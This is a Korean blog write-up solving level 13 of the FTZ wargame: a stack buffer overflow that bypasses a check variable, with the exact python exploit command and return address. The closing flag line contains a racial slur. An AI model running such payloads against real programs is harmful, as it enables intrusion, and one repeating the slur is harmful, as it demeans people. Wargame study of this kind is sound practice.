힌트를 까서 소스코드를 보면 기존의 11번,12번과는 달리 i라는 것이 새로 생기고
i가 0x1234567이 아닐시 Warnning: Buffer Overflow!!! 를 출력하며 kill로 sigsegv을 전달한다.
따라서 i에는 0x1234567을 넣어줘야한다.
gdb로 까보니 1048바이트이다. 그냥 모든 버퍼를 0x1234567로 채워버리고, 뒤에 쉘코드 주소를 넣어주면 된다.
| buf(1024) | dummy(12) | i(4) | dummy(8) | ebp(4) | ret(4) |
이러한 스택구조를 이루고 있으므로
4 * 262 = 1048
./attackme `python -c 'print [buf]*262+[ebp(A)]*4+ret'`
이러한 형식이고,
./attackme `python -c 'print "\x67\x45\x23\x01"*263+"\xf4\xfb\xff\xbf"'`
이렇게 짤 수 있다.
Flag : what that nigga want?
'IT > FTZ' 카테고리의 다른 글
[FTZ] level15 (0) | 2016.07.10 |
---|---|
[FTZ] level14 (0) | 2016.07.10 |
[FTZ] level12 (0) | 2016.07.10 |
[FTZ] level11 (0) | 2016.07.10 |
[FTZ] level10 (0) | 2016.07.10 |